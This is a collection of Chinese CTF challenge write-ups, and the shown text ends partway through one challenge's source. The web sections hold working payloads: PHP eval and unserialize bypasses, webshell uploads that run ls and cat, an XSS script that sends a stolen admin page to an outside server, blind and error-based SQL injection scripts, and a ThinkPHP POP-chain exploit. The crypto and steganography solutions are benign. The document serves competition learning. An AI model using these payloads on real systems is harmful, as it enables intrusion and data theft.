0%

WEB1

<?php
highlight_file(__FILE__);
$username = str_shuffle(md5("admin"));
$password = str_shuffle(md5("root"));

$login = false;
if (isset($_GET['str'])) {
    $str = $_GET['str'];
    $unserialize_str = unserialize($str);
    if ($unserialize_str['username'] == $username && $unserialize_str['password'] == $password) {
        $login = true;
    }
}

if ($login && isset($_GET['code'])) {
    if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
        if (!preg_match('/highlight_file|localeconv|pos|curret|chdir|localtime|time|session|getallheaders|system|array|implode/i', $_GET['code'])) {
            eval($_GET['code']);
        } else {
            echo "含有危险函数" . "<br/>";
        }
    } else {
        echo "不符合正则表达式" . "<br/>";
    }
}

题目可分为两部分,一是通过if语句判断使$login的值变为true,二是通过eval函数执行我们想要的代码拿到flag

$unserialize_str = unserialize($str);
if ($unserialize_str['username'] == $username && $unserialize_str['password'] == $password) {
    $login = true;
}

虽然我们不知道$usernam$password的值,但可以在if语句中使用的判断为==

由于php是弱类型语言,所以bool值为true的变量和任何变量比较都相等,除了0和false,因为0认为是bool false

由此构造$str

<?php
$a = array(
    "username" => true,
    "password" => true
);
echo serialize($a);
a:2:{s:8:"username";b:1;s:8:"password";b:1;}

这样便能使$login被赋值为true


接下来要执行eval函数,需要通过两个if语句

  • /[^\W]+\((?R)?\)/要匹配无参数的函数,函数内部可以无限嵌套相同的模式,也就是说只匹配字符串+()的类型,并且括号内为空字符串字符串+()
  • 不能使用highlight_file|localeconv|pos|curret|chdir|localtime|time|session|getallheaders|system|array|implode这些危险函数,包括大小写

scandir()函数返回指定目录中的文件和目录的数组,所以scandir('.')会返回当前文件所在文件夹的目录

var_dump(scandir(‘.’));

但这样无法通过正则表达式,需要讲scandir内部替换为/[^\W]+\((?R)?\)/

chr()函数会返回指定的 ASCII 值对应的字符,而.对应的ASCII值为46

由此构造出:var_dump(scandir(chr(46)));

现在只需要想办法讲构造出一个返回值为46的嵌套函数即可。


查看php版本

?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=phpinfo();

版本号为:7.2.24

phpversion()返回7.2.24-0ubuntu0.18.04.7

floor(phpversion())返回7

sin(floor(phpversion()))返回0.65698659871879

sin(sin(floor(phpversion())))返回0.61073350824527

cos(sin(sin(floor(phpversion()))))返回0.81922759437835

rad2deg(cos(sin(sin(floor(phpversion())))))返回46.938283618535

floor(rad2deg(cos(sin(sin(floor(phpversion()))))))返回46

这样便构造出46

?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=var_dump(scandir(chr(floor(rad2deg(cos(sin(sin(floor(phpversion())))))))));

返回

array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".DS_Store" [3]=> string(9) "index.php" [4]=> string(16) "this_is_flag.php" }

flag在this_is_flag.php中,刚好在最后一个文件,通过end()读取最后一个文件,再通过show_source()打印,这样就得到最终的payload:

?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=show_source(end(scandir(chr(floor(rad2deg(cos(sin(sin(floor(phpversion()))))))))));

附:

php 5.x
?code=var_dump(scandir(chr(floor(rad2deg(sin(cos(cos(floor(phpversion())))))))));
?code=show_source(end(scandir(chr(floor(rad2deg(sin(cos(cos(floor(phpversion()))))))))));

WEB2

红明谷签到,WP都发到群里面了没人看。

  • 简单题
  • 用短标签绕过对php的过滤,$IFS$9代替空格。
?action=upload&data=<?=`ls\$IFS\$9/`?>
  • 直接得到文件列表
!whatyouwantggggggg401.php
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
  • 直接用通配符读就好了
?action=upload&data=<?=`cat\$IFS\$9/*.ph*`?>

WX20210402-202932@2x

WEB3

  • 转义单引号然后注释掉后面的单引号成功逃逸,最后or拼接导致逻辑为真。登录。

WX20210406-203159@2x

  • 提示管理员每条都看,直接XSS先看看行不行,服务器监听一个端口:
WX20210406-203615@2x
  • 构造JS代码,提交至后台
WX20210406-203654@2x
  • 监听到管理员通过这个页面执行了这个JS
WX20210406-203801@2x
  • 构造XHR直接窃取管理员界面,xss.js
function createXmlHttp() {
    if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest()
    } else {
        var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
        for (var n = 0; n < MSXML.length; n++) {
            try {
                xmlHttp = new ActiveXObject(MSXML[n]);
                break
            } catch(e) {}
        }
    }
}
createXmlHttp();
xmlHttp.onreadystatechange = function(){
  if (xmlHttp.readyState == 4) {
        code=escape(xmlHttp.responseText);
        createXmlHttp();
        url = "http://39.107.126.173:28901/xss.php";   //这里是我们服务器接受的地址
        cc = "htmlcode=" + code +"&filename=index.html";
        xmlHttp.open("POST", url, true);
        xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlHttp.send(cc)
  }
};
xmlHttp.open("GET", "/admin_shark.php", true);//这块填写获得的后台地址。
xmlHttp.setRequestHeader("Referer", "http://127.0.0.1/");
xmlHttp.send(null);
  • 接受页面脚本:
<?php
        function js_unescape($str) {
                $ret = '';
                $len = strlen($str);
                for ($i = 0;$i < $len;$i++) {
                        if ($str[$i] == '%' && $str[$i + 1] == 'u') {
                                $val = hexdec(substr($str, $i + 2, 4));
                                if ($val < 0x7f) $ret.= chr($val);
                                else if ($val < 0x800) $ret.= chr(0xc0 | ($val >> 6)) . chr(0x80 | ($val & 0x3f));
                                else $ret.= chr(0xe0 | ($val >> 12)) . chr(0x80 | (($val >> 6) & 0x3f)) . chr(0x80 | ($val & 0x3f));
                                $i+= 5;
                        } else if ($str[$i] == '%') {
                                $ret.= urldecode(substr($str, $i, 3));
                                $i+= 2;
                        } else $ret.= $str[$i];
                }
                return $ret;
        }
        $data = js_unescape($_POST['htmlcode']);  //对获得源码js_unescape解码。
        $filename = $_POST['filename'] . date("y-m-d-h-i-s") . ".html";
        $myfile = fopen($filename, "w");
        fwrite($myfile, $data);
        fclose($myfile);
?>
  • 再次提交XSS攻击代码
WX20210406-204304@2x
  • 窃取到管理员页面源码得到flag:
WX20210406-204400@2x

隐藏的书

  • 这个字段如果是奇数那就可能是伪加密,改成偶数解压
WX20210406-205208@2x
  • 根据期刊论文编写脚本,解码就得到flag
<?php
/**
 * @param [String] Strings that need to be Unicode encoded。
 * @author [name] Gqleung
 * @date 2021-03-30 10:22:46
 */
function UnicodeEncode($str){
    preg_match_all('/./u',$str,$matches);
    $unicodeStr = "";
    foreach($matches[0] as $m){
        $unicodeStr .= "\\u".substr('0000'.base_convert(ord($m),10,16),-4);
    }
    return $unicodeStr;
}
/**
 * @param [String] Strings that need to be Unicode Decoded。
 * @author [name] Gqleung
 * @date 2021-03-30 10:22:46
 */
function UnicodeDecode($str){
    $result='';
    $UnicodeStrArry = explode('\\u', $str);
    foreach ($UnicodeStrArry as  $value) {
      if(empty($value))
        continue;
      $result .=  chr(base_convert($value,16,10));
    }

    return $result;
}
/**
 * @param  [String] Strings that need to be Unicode Decoded。
 * @param  [String]
 * @return [type]
 */
function encrypt($laws,$Hiddentext){
  $secret="";
  for($i=0;$i<strlen($Hiddentext);$i++){
    $temp = ord($Hiddentext[$i]);
    $temp = base_convert($temp,10,2);
    $temp = substr('00000000'.$temp,-8); 
    $temp = str_split($temp,4);
    foreach ($temp as $value) {
      $secret  .=  "\\u".substr('0000'.base_convert($value,2,16),-4);
    }
  }
  $secret = UnicodeDecode($secret);
  $Ci = explode(".",$laws);
  $Ca = $Ci[0].".";
  $Cb = $Ci[1];
  $Ciphertext = $Ca.$secret.$Cb;

  return $Ciphertext;
}
function decrypt($Ciphertext){
  $tmp = "";
  $laws = "";
  for($i=0;$i<strlen($Ciphertext);$i++){
    if(!(32<ord($Ciphertext[$i])&&ord($Ciphertext[$i])<127)){
      $tmp .= UnicodeEncode($Ciphertext[$i]);
    }
  }
  $tmp = explode('\u',$tmp);
  $m='';
  for($i=0;$i<count($tmp);$i++){
    if(empty($tmp[$i]))
      continue;
    $t  = substr('0000'.base_convert($tmp[$i],16,2),-4);
    $m .= $t;
    if(strlen($m)==8){
      $laws.=chr(base_convert($m,2,10));
      $m='';
    }
  }
  return $laws;
}
//$a = encrypt("Hello.Gzmtu",$flag = "flag{8f807f74-9088-11eb-b255-00163e0620b4}");
echo decrypt(file_get_contents('flag.txt'));
?>

你能看到图片里的flag吗

用Stegsolve打开key.gif查看详细信息,发现不是每一帧的时间都相同,时间间隔不是20就是30,考虑gif时间隐写

用kali自带的工具提取时间间隔

identify -format "%T" key.gif

得到:

20303020303020302030302020302020202030302030203020302030303030302030302030202020203030202030203020303030202030202030302020302030

20替换为030替换为1

<?php
$a = "20303020303020302030302020302020202030302030203020302030303030302030302030202020203030202030203020303030202030202030302020302030";
$a = str_replace('20', '0', $a);
$a = str_replace('30', '1', $a);

echo $a;

得到:

0110110101100100001101010101111101101000011001010111001001100101

通过网站在线转换二进制到字符串:http://www.txttool.com/wenben_binarystr.asp,得到:

md5_here

md5加密后得到:

623a3f3d828099e440475ce285c341ac

即为hint.rar的密码

解压之后得到两个文件

  • hint.txt
使用邻近法放缩图片
图片的宽度和高度在width_height.txt
  • width_height.txt

显然width_height.txt是一组坐标的集合,通过python将这些坐标输出到图片上

from PIL import Image
img = Image.new('RGB', (200, 200), (0, 0, 0))
f = open('width_height.txt')
for line in f.readlines():
    point = line.split()
    img.putpixel((int(point[0]), int(point[1])), (255, 255, 255))
f.close()
img.show()

会得到一张二维码

扫码得到:

width:192 height:90

最后通过PS打开flag.png,按住Ctrl+alt+I调整图片大小

宽度:192,高度:90,使用近邻法放缩

  • flag
flag{Th1s_1s_4_h1dden_F14g}

神秘的铃声

解压得到flag.wav文件010打开存在一个base64

WX20210406-205500@2x

  • 扔Burpsuite解码是PK头说明是ZIP文件,右键Copy to file保存为ZIP文件
WX20210406-205625@2x WX20210406-205744@2x
  • 但是解压需要密码:
WX20210406-205835@2x
  • 刚刚那是一个WAV文件播放是一段DTMF音频,也就是电话机按键的声音,珠海教案有提到一个网站能够识别这个音频,当然也可以写脚本识别。
WX20210406-210020@2x
  • 解码得到压缩包密码:D#*C9A16B
微信图片_20210406165942
  • 解压得到flag.txt是一串坐标,将其转换为图片得到二维码扫码得到flag:
from PIL import Image
img = Image.new('RGB',(500,500),(0,0,0))
#创建Image对象
f = open('flag.txt')#打开flag.txt文件
for line in f.readlines():
    point = line.split()
    img.putpixel((int(point[0]),int(point[1])),(255,255,255))
#读取文件中的每一行,并修改像素
f.close()
img.show()
WX20210406-211110@2x

神秘的网站

  • 扔到wireshark分析根据题目提示是一个神秘的网站,只需要找HTTP即可。hint提示了上传包那么:直接filter过滤出所有POST协议迅速就能找到上传包。
WX20210406-212102@2x
  • 追踪HTTP流发现存在ZIP文件
WX20210406-212311@2x
  • 找到数据包中的ZIP导出为分组字节流保存为zip 文件
WX20210406-214128@2x
  • 得到一个文件和一张图片
WX20210406-214353@2x
  • 图片只能看到一部分说明chunk被破坏过用010打开可以发现chunk4长度很奇怪应该被改过
WX20210406-214609@2x
  • 将其改大可以恢复图片得到一串字符串
WX20210406-214757@2x
  • 还有一个文件结合信条这部电影讲述的就是倒过来的世界所以flag文件可能就是倒过来的文件。
WX20210406-214951@2x
  • 可以看到文件结束是KP可能是PK的倒置,我们写个脚本将其倒置回来:
<?php 
$a = file_get_contents('flag');
file_put_contents("flag.zip",strrev($a));
?>
  • 得到压缩包,压缩包密码就是图片中那串字符串。解压得到一个音频:
WX20210406-215238@2x
  • 同样她也是倒放的音乐,咱们直接将其还原为正常的音乐,使用AU
WX20210406-215422@2x
  • 倒置后网易云识别
WechatIMG2034
  • 评论区拿flag:
WechatIMG87

数学很重要

需要分解n,得到p和q,才能拿到m,即flag

在题目中有:d = gmpy2.invert(e, p*(p-1)*(q-1))

由此来推导模数n的分解:
$$
e * d = k * p * (p-1) * (q-1) + 1
$$

$$
(e * d)^e = [k * p * (p-1) * (q-1) + 1]^e
$$

$$
(e * d)^e = K * p + 1
$$

$$
(e * d)^e % n = (K * p + 1) % n
$$

$$
(e^e % n * d^e % n) % n = (K * p + 1) % n
$$

$$
(e^e * d^e % n) % n = (K * p + 1) % n
$$

$$
(e^e * d^e % n - 1) % n = (K * p) % n
$$

$$
(e^e * d^e % n - 1) + t*n = K * p
$$

$$
\frac{1}{K} * (e^e * d^e % n - 1) + \frac{t}{K}*n = p
$$

$$
p = gcd((e^e * d^e % n - 1) % n, n)
$$

$$
p = gcd((e^e * hint - 1) % n, n)
$$

至此可以分解n = p * p * q,进而求出m

import gmpy2
import libnum

n = 1404864792885309108733640159316826506894236287548379939152849016743435983442699747921846125787195996033503870282773818470039914142701705451809138397049630572740639249477647644261254708528772540978792294225346035639261591427432057453936860038832354440430427494151140007167188185298912810715582637875006928402468687609650245843893636726667943630230916699610263246417106899540475644300775129490776223094431047266427439282518682724978986466077711523145747674327332051810519026006226118101950866725315377926329640394039034742537816196415220996830129516878556074570587486143579684121551028517709279020939236578960627017120428642424734081608822839438555638805913188881032407815526804750217289667978469999465893012019987646121081067553285784264938579036090518539835310642939403312387248525506990916704179728785567091817175793341264114889237623098808526580508172221259938132204690459668424325728699548951520597516996306695162612026923
c = 1056621132858553337843799531931829780532909526893598349757065810082614861897005399538516022339385456921080981930134553531451997667616780694476473935635850906657287327947505250813121839115712839784961838878589687696392168999007259428943177170885096149257761111375426947276207008555385135699868532336069097451167698609146202623839343749042437332344304731408930972252319186875629139934202497457999728524999876011248799301721947182662277983045924969387711620125568428544081394563081888004751018879893766348092204921968270651820590342957624989796768741978229821705472159840676453778980085893882942690791813978120574188104366811115515943434915719899354094207665657376073518852691150218789684229024823845100939031274257318172046382806032216330957494501967155244691377918879968703887945579606252867891939345438276905409978552743142300094751510214632116779662364652019422074762160221347591144466572300812675526052926724548943468469723
hint = 101794688716785217887960897945591243956989900037427176767666512559791995985108215779421011313213384758689708929722203071477840953013038647100924911493828188106127504843466854689586463951519895573419515062134362771498167243657486890676780200214663789335950289873729808283135837361560831229580803000690276177751767706193356374011845264745277604824551554541736615017289493676579496259064630875246918064858049304827949231835533001170204905788972411679518681180136352305431808979840858420025675441100205234779010351872551760580862818923553046506121627173411616799109177911982734522304097798381596915860520993100826264630451736911320052426159472868988436162344618566093403661349180934448297588983261629039054368903969451215957019928944985865422734016492501757272819066148585342366043951355199543153844023840418108988483011676230567828688205989252493165991940377092334291423942549979314542332470846061006424871389380351025361150311
e = 0x10001

p = gmpy2.gcd((pow(e, e) * hint - 1) % n, n)
q = n // pow(p, 2)
phi = p*(p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))
  • flag
flag{Mathematics_is_very_important!}

easyRSA

已知c、e、n1、n2,只要能够分解n1,就能够拿到flag

在题目中n1和n2共用一个大质数p,所以n1和n2的最大公因数即为p,这样就能分解n1了

import gmpy2
import libnum

e = 65537
n1 = 19927995886914135335416406082647120895619334038709715664270614604151473749182691765161766917756826761209408429340053534661116540440455731883912107733536490306892185777306017692334819486621137392115368637822832208615896079869167332092773633150006570996052837028257313679389522817781164233607188350606757597836490056930318266077647703629309920052447748365274174530490094908252256551706625163193805930254664728936230312618043386165963458944225026036816776258340041222542638064896328642143272486093326421275373201421890802797828158807121957406664052135737278317985129996476960525575320786302386904366901933941877871977923
n2 = 18891582332322922179757256935338383228362622765536723954262749118724360227437890613511811834258619933112000032816774390665802252670355559592889246899049387975273869584023100438870426265843757686044290924963164327025399130980205072334359825236874676865799829315906270559180981769846264222745663893031262917781276708151305378259082579089031371101323253330053986819164120184785001094503410745573822883437760154804937523455385157947633996347870180978374764506128842545299334183115882288528664242409706229889871455032394406814666870814759869179655535890356720047754561351306758635949531548031922969386197250253432717160713
c = 13464724434881083014378360688491414344998156133411847847874051353940035862995104112542330206199732554180770508723141951625606376158124527681508374976085150535523169426812879850201999337951347258663163526945777620586135979743047015305904146804741356004618021619877806139998460893541631182931447449498967591502111403371136690476476964569301404706879044022446236796126968424261474149501366709514040581812492269780027443526915046387838380291031527967274048028552563236517463115042981801314702717397461735551656092225777678039402709019728332707310411968980746101194493745338399939010674127078293589259391068943187148009190

p = gmpy2.gcd(n1, n2)
q = n1//p
phi = (p-1)*(q-1)

d = gmpy2.invert(e, phi)
m = pow(c, d, n1)
print(libnum.n2s(int(m)))
  • flag
flag{u5e_the_s4me_p}

##

unsetme

题目直接给出源码:

 <?php
// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');
// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);
$f3->run();

源码和WMCTF中的一个框架反序列化是同一个框架,网上下载源码来测试一下:

WX20210403-201113@2x

发现/lib/base.php533行有一处eval报错,跟进发现$val是由$hive属性得到。

WX20210403-201457@2x

可以很明显发现$val$key拼接@hive进过正则匹配过滤后再进行替换得到,我们继续跟进$key会发现他来源于__unset魔术方法。

WX20210403-202815@2x

__unset这个魔术方法会在外部使用unset()函数销毁类的属性时候被触发。正好咱们回到·index.php就使用unset来销毁属性。

WX20210403-203036@2x

也就是说$key就是$_GET['a'],测试发现$this->compile会将key替换为[' ']包裹下。这就说明我们需要绕过这个规格才能执行任意代码。

WX20210403-203421@2x

我们跟进$this->compile方法,由于参数2传入就是false咱们直接进入第一个分支。可以看到分支使用preg_replace_callback进行了两次匹配替换。第一次匹配将hive匹配到然后在前面拼接$得到$hive第二次就是把我们传入的字符串给匹配进去,然后用[' ']包裹起来,但是[]并不会被匹配进去。因此咱么可以利用这个特性逃逸,只要写入一个二维数组就行了。

WX20210403-205303@2x
function compile($str, $evaluate=TRUE) {
        return (!$evaluate)
            ? preg_replace_callback(
                '/^@(\w+)((?:\..+|\[(?:(?:[^\[\]]*|(?R))*)\])*)/',
                function($expr) {

                    $str='$'.$expr[1];
                    if (isset($expr[2]))
                        $str.=preg_replace_callback(
                            '/\.([^.\[\]]+)|\[((?:[^\[\]\'"]*|(?R))*)\]/',
                            function($sub) {
                                $val=isset($sub[2]) ? $sub[2] : $sub[1];
                                if (ctype_digit($val))
                                    $val=(int)$val;
                                $out='['.$this->export($val).']';

                                return $out;
                            },
                            $expr[2]
                        );

                    return $str;
                },
                $str
            )
      ....
      略

那么哪里有二维数组呢,当然是在hive属性里找,直接将其输出看到很多

WX20210403-201957@2x

因此构造payload如下:

?a=JAR['expire']);phpinfo(
WX20210403-205529@2x

直接读flag即可:

?a=JAR['expire']);readfile('/flag'

WX20210403-205651@2x

happysql

  • 简单fuzz发现过滤了if,空格、or,and,information,单引号,benchmark,sleep,=,li k,+,-等关键字

  • 但是双引号并未过滤。正好题目也是由双引号包裹的字符串,同时#也没有过滤可以顺利逃逸出来

    WX20210402-194839@2x

    or和and 等逻辑运算符直接用||代替即可。等于号可以使用regexp或者strcmp,而字符串分割可以使用locate代替。||只要一边执行成功就能跳转到home.php

    WX20210402-195828@2x

  • 使用基于运行错误的BOOL盲注(http://www.plasf.cn/articles/spatial_functions_blind_inject.html),例如exp(710)即可溢出报错

WX20210402-195930@2x
  • ​ if使用make_set即可可以构造如下payload:
username=a"||exp(make_set((database()/**/regexp/**/binary/**/0x637466),0x373130,0x31))#&password=
  • 如果猜测正确exp溢出导致SQL执行失败,返回Username or password error!
WX20210402-200946@2x
  • 猜测错误那么返回1,exp不溢出运行正常。
WX20210402-201021@2x
  • 由于information被过滤使用mysql.innodb_index_stats代替发现可以,前面可以猜出数据库是ctf,直接猜表名
  payload = {
  'username':'a"||exp(make_set(strcmp((locate(binary/**/%s,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/regexp/**/binary/**/0x637466),%s)),%s),710,1))#'%(ord2hex(j),i,i),
  'password':''
  }

WX20210402-201424@2x

  • 猜出表名f1ag,但是innodb的方法无法猜出列名,但是可以简单测试出列名的个数为两个。

WX20210402-201712@2x

  • 直接使用无列名注入即可综合上面分析最终EXP为:
#/**/coding=utf-8
import io
import requests
import threading
def ord2hex(string):
    result = ""
    for i in string:
        r = hex(ord(i));
        r = r.replace('0x','')
        result = result+r
    return '0x'+result

tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{,_'
flag = ''
sessid = 'flag'
for i in range(1,70):
    for j in tables:
        url = "http://eci-2ze2jur5bqu7g7b1eaws.cloudeci1.ichunqiu.com/login.php"
        payload = {
        'username':'a"||exp(make_set(strcmp((locate(binary/**/%s,(select/**/group_concat(x.2)/**/from/**/(select/**/2/**/union/**/select/**/*/**/from/**/f1ag)x),%d)),%d),710,1))#'%(ord2hex(j),i,i),
        'password':''
        }
        resp = requests.post(url,data=payload)
        #print(payload['username'])
        if 'home.php' in resp.text:
            flag = flag +j
            print(flag)
            break

WX20210402-202003@2x

write_shell

  • 简单题
  • 用短标签绕过对php的过滤,$IFS$9代替空格。
?action=upload&data=<?=`ls\$IFS\$9/`?>
  • 直接得到文件列表
!whatyouwantggggggg401.php
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
  • 直接用通配符读就好了
?action=upload&data=<?=`cat\$IFS\$9/*.ph*`?>

WX20210402-202932@2x

easytp

  • 扫出源码:www.zip
  • Thinkphp3.2,home控制器存在一个反序列化方法
WX20210402-203826@2x
  • 网上找到一个POP链发现可以用https://www.jianshu.com/p/41782991b4b2

  • 报错注入读到存在一个叫tp的数据库,里面有个叫f14g的表(以为用MYSQL导出日志GETSHELL整了半天在数据库里面)

WX20210402-203648@2x

  • Exp
<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "mysql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "123456"
        );
    }
}

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=updatexml(1,concat(mid((select f14g from tp.f14g),20,70),0x7e),1);#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

预备知识

基于运行错误的Bool型盲注

什么是基于运行错误的Bool型盲注

简单的说就是它能够通过MYSQL解释器检查,但是运行时候又会产生错的函数。我们可以用它来进行布尔型盲注。我们下面就来讲解一下一些能够通过MYSQL解释器的预检查却在运行时候出现错误的SQL函数。

Spatial Functions

ST_GeomFromTextST_MPointFromText是两个可以从文本中解析Spatial function的函数,如果我们的语法各方面都复合mysql的规则,如果我们在解析文本中做手脚呢?MYSQL解释器不会检查一个字符串是否复合MYSQL语法要求,很明显这样我们就可以绕过MYSQL预检查,但是在运行时候又「恰逢其时」地出错,这样我们就可以进行Bool盲注了。需要注意的是ST_GeomFromText针对的是POINT()函数,ST_MPointFromText针对的是MULTIPOINT()函数的。

ST_GeomFromText为例:

例如构造如下SQL语句,很明显POINT函数传入的必须是GIS中的地理坐标的数据类型,这里写入的是一个常量或者undefined类型,但是他却能正常运行。

mysql> SELECT IF(0, ST_X(ST_GeomFromText('POINT(gqleung)')), 0);
+---------------------------------------------------+
| IF(0, ST_X(ST_GeomFromText('POINT(gqleung)')), 0) |
+---------------------------------------------------+
|                                                 0 |
+---------------------------------------------------+
1 row in set (0.00 sec)

WX20210126-011441@2x

假设我们将if的表达式改成false呢,很明显会执行中间的参数,POINT的数据类型错误会导致报错。

mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(gqleung)')), 0);
ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.

WX20210126-012024@2x

总结,其他可用的函数:

SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);

解题过程

经过fuzz可以发现这个靶机不论参数传递数字都是会返回同一张图,但是如果存在被ban掉的字符会返回如下图:

WX20210126-014859@2x

我们可以借此FUZZ出被ban掉的关键字:

union、*、'、"、substr、mid、=、like、into、file、sleep、benchmark、 、^、or、、、、&、>、<、#、-、ascii、ord、floor、extractvalue、updatexml、if、rp、rep、GET_LOCK、info
  • 这里过滤了空格,这里可以直接用\t来代替空格,URL编码后是%09,在写脚本时候可以使用TAB键来代替。

  • 过滤了单双引号,可以使用十六进制来代替字符串。

  • 过滤了if可以使用case when....then....else...end代替

  • 过滤了等于号、大于、小于、减号、like、我们可以使用正则表达式来判断也就是regexp

我们通过上面所讲解的ST_GeomFromText,结合上述过滤考点,构造如下payload,当然空格要用%09代替。

index.php?id=1    and    case    WHEN    user()    regexp    0x61    then    ST_X(ST_GeomFromText(0x504F494E54286D61647329))    else    0    end

如果if表达式为false可以发现返回正常的页面:

WX20210127-211626@2x

若if表达式为true,那么将会返回运行错误的页面:

WX20210127-211536@2x

EXP

据此编写Python脚本:

#author:Gqleung
#Email:  admin@plasf.cn
#blog:   http://www.plasf.cn

import requests

def ord2hex(string):
    result = ""
    for i in string:
        r = hex(ord(i));
        r = r.replace('0x','')
        result = result+r
    return '0x'+result

url = "http://39.107.126.173:7890"
tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
result=""
flag=1
result2=""
for i in range(1,70):
    for j in tables:
        payload = "/index.php?id=1    and    case    WHEN    (select    flag    from    flag)    regexp    binary    %s    then    ST_X(ST_GeomFromText(0x504F494E54286D61647329))    else    0    end"%(ord2hex('^'+result+j))    
        r = requests.get(url+payload);
        if 'cat' not in r.text:
            result=result+j
            print(result)
            break

运行结果:

WX20210127-213047@2x

ez_serialize

  • 这题二血
WechatIMG93

题目直接给出代码,可以动态拼接类。盲猜就是原生类去读文件了。https://www.php.net/manual/zh/book.spl.php

SLP类中存在能够进行文件处理和迭代的类:

描述
DirectoryIterator 遍历目录
FilesystemIterator 遍历目录
GlobIterator 遍历目录,但是不同的点在于它可以通配例如/var/html/www/flag*
SplFileObject 读取文件,按行读取,多行需要遍历
finfo/finfo_open() 需要两个参数
源码:
  <?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }

}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;

}  hello ctfer
  • 直接读取/var/www/html下文件有哪些,得到一个flag所在的文件夹,再遍历这个文件夹发现存在flag.php
<?php
class A{
    public $class='FilesystemIterator';
    public $para="/var/www/html";
    public $check;
    }
$o  = new A();
echo serialize($o);
WX20210328-135328@2x
  • 读取flag
<?php
class A{
    public $class='SplFileObject';
    public $para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
    public $check;
    }

$o  = new A();
echo serialize($o);
WX20210328-135504@2x

BestDB

送分注入,联合注入读文件,注意的是文件在/flag,而非题目提示的flag.txt

http://e4c364fb-d7e4-4a4c-9275-817ebf81e670.machine.dasctf.com/?query=lisi%22%09union%09select%091,2,3%23

http://e4c364fb-d7e4-4a4c-9275-817ebf81e670.machine.dasctf.com/?query=lisi%22%09union%09select%091,(select%09f1agdas%09from%09f1agdas%09where%09id%09=1),3%23

http://e4c364fb-d7e4-4a4c-9275-817ebf81e670.machine.dasctf.com/?query=lisi%22%09union%09select%091,(select%09f1agdas%09from%09f1agdas%09where%09id%09=1),3%23

http://e4c364fb-d7e4-4a4c-9275-817ebf81e670.machine.dasctf.com/?query=lisi%22%09union%09select%09load_file(0x2F666C6167),2,3%23

WechatIMG1906

ez_login

给出源码:

Index.php

<?php
    if(!isset($_SESSION)){
        highlight_file(__FILE__);
        die("no session");
    }
    include("./php/check_ip.php");
    error_reporting(0);
    $url = $_GET['url'];
    if(check_inner_ip($url)){
        if($url){
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
            $output = curl_exec($ch);
            $result_info = curl_getinfo($ch);
            curl_close($ch);
            }
    }else{
        echo "Your IP is internal yoyoyo";
    }
?>

se1f_log3n.php

<?php
include("./php/db.php");
include("./php/check_ip.php");
error_reporting(E_ALL);
$ip = $_SERVER["REMOTE_ADDR"];
if($ip !== "127.0.0.1"){
    exit();
}else{
    try{
